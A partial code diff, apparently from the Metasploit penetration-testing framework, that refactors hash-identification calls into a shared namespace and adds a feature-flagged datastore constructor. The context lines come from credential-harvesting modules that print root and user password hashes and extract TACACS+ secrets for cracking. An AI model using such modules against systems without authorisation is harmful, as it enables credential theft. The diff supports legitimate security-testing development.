print_good("root password hash: #{root_hash}")
if framework.db.active
@@ -195,7 +195,7 @@ module Msf
user_uid = result[2].strip
user_permission = result[3].strip
user_hash = result[4].strip
jtr_format = identify_hash user_hash
jtr_format = Metasploit::Framework::Hashes.identify_hash user_hash
print_good("User #{user_uid} named #{user_name} in group #{user_permission} found with password hash #{user_hash}.")
next unless framework.db.active
@@ -251,7 +251,7 @@ module Msf
result_block[0].strip.scan(/(?<tacplus_server>[0-9.]{7,15}) secret "(?<hash>[^"]+)";/i).each do |result|
ip = result[0].strip
hash = result[1].strip
jtr_format = identify_hash hash
jtr_format = Metasploit::Framework::Hashes.identify_hash hash
print_good("tacplus server #{ip} with password hash #{hash}")
next unless framework.db.active
-1
View File
@@ -1,6 +1,5 @@
# -*- coding: binary -*-
require 'metasploit/framework/hashes/identify'
require 'bson'
require 'zip'
+2 -2
View File
@@ -1,6 +1,6 @@
# -*- coding: binary -*-
require 'metasploit/framework/hashes/identify'
require 'metasploit/framework/hashes'
module Msf
###
@@ -101,7 +101,7 @@ module Msf
cred = credential_data.dup
cred[:username] = username
unless hash.start_with?('********') # if not in config mode these are masked
cred[:jtr_format] = identify_hash(hash)
cred[:jtr_format] = Metasploit::Framework::Hashes.identify_hash(hash)
cred[:private_data] = hash
print_hash = " with hash #{hash}"
end
+14
View File
@@ -9,6 +9,20 @@ module Msf
###
class DataStore < Hash
# Temporary forking logic for conditionally using the {Msf::ModuleDatastoreWithFallbacks} implementation.
#
# This method replaces the default `ModuleDataStore.new` with the ability to instantiate the `ModuleDataStoreWithFallbacks`
# class instead, if the feature is enabled
def self.new
if Msf::FeatureManager.instance.enabled?(Msf::FeatureManager::DATASTORE_FALLBACKS)
return Msf::DataStoreWithFallbacks.new
end
instance = allocate
instance.send(:initialize)
instance
end
#
# Initializes the data store's internal state.
#

Some files were not shown because too many files have changed in this diff Show More